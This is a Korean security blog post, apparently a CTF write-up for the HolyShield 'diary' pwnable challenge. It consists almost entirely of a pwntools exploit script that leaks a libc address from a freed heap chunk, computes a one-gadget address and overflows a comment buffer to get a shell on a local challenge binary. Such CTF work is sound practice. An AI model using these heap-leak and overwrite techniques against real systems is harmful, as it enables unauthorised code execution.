Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

HolyShield diary 본문

Security/Pwnable

HolyShield diary

Cdor1 2017. 1. 6. 00:14

후기 : 바이너리가 너무 큰 diary... 익스 성공했다.

인티져 오버플로우와 누가봐도 의심스러운 미니게임후 코멘트의 환상조화



from pwn import *
s = remote('localhost', 4000)
elf = ELF('/home/cdor1/pwnable/diary')

def start():
        print s.recvuntil(':')
        s.sendline('cdor1')
        print s.recvuntil(':')
        s.sendline('18')
        print s.recvuntil('>>>')
        s.sendline('3')
        print s.recvuntil(':')
        s.sendline('A'*10)
                
def minigame():
        print s.recvuntil('>>> ')
        s.sendline('3')
        print s.recvuntil('>>> ')
        s.sendline('1')
        s.sendline('-677')
        s.sendline('1')
        s.sendline('777')
        s.sendline('1')
        s.sendline('A'*100)
	s.sendline('-32667')
 	s.sendline('1')
 	s.sendline('32767')
 	s.sendline('1')
 	s.sendline('a'*84 + p64(one_shot))
	print s.recvuntil('>>> ')
	s.sendline('100')
	print s.recvuntil('10.')
	s.sendline('1')
	print s.recvuntil('comment')
	s.sendline('comment')
	print s.recvuntil('>>> ')
	s.sendline('3')
	print s.recvuntil('>>> ')
	s.sendline('1')
	print s.recvuntil('>>> ')
	s.sendline('5')
	s.sendline('1')

def writeplan(name,hour,min,intro):
        print s.recvuntil('>>> ')
        s.sendline('1')
        print s.recvuntil('>>> ')
        s.sendline('2')
        print s.recvuntil('name : ')
        s.sendline(name)
        print s.recvuntil('Hour : ')
        s.sendline(str(hour))
        print s.recvuntil('Min : ')
        s.sendline(str(min))
        print s.recvuntil('Intro : ')
        s.sendline(intro)
        s.sendline('6')
 
def printplan():
        print s.recvuntil('>>> ')
        s.sendline('1')
        s.sendline('6')
 
def free_chunk(num):
        print s.recvuntil('>>> ')
        s.sendline('1')
        print s.recvuntil('>>> ')
        s.sendline('4')
	print s.recvuntil('>>> ')
	s.sendline(str(num))
	print s.recvuntil('>>> ')
	s.sendline('4')
        print s.recvuntil('>>> ')
        s.sendline('100')

start()
for i in range(0, 3):
	writeplan('A'*16, 1, 1, 'A'*99)

free_chunk('2')
printplan()
print s.recvuntil('Plan name : ')
leak = u64(s.recv(6).ljust(8,'\x00'))
libc_base = leak - 0x3be7b8
one_shot = libc_base + 0x4647c
log.info('main_arena+88 : ' + hex(leak))
log.info('libc_base : ' + hex(libc_base))
log.info('one_shot : ' + hex(one_shot))

minigame()
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

HITCON 2016 SleepyHolder  (0) 2017.01.08
2016 MMA CTF diary  (0) 2017.01.07
BoBCTF - megabox  (0) 2017.01.05
Christmasctf2016 - House of Daehee  (0) 2017.01.04
SECCON CTF 2016 jmper  (0) 2016.12.28
Comments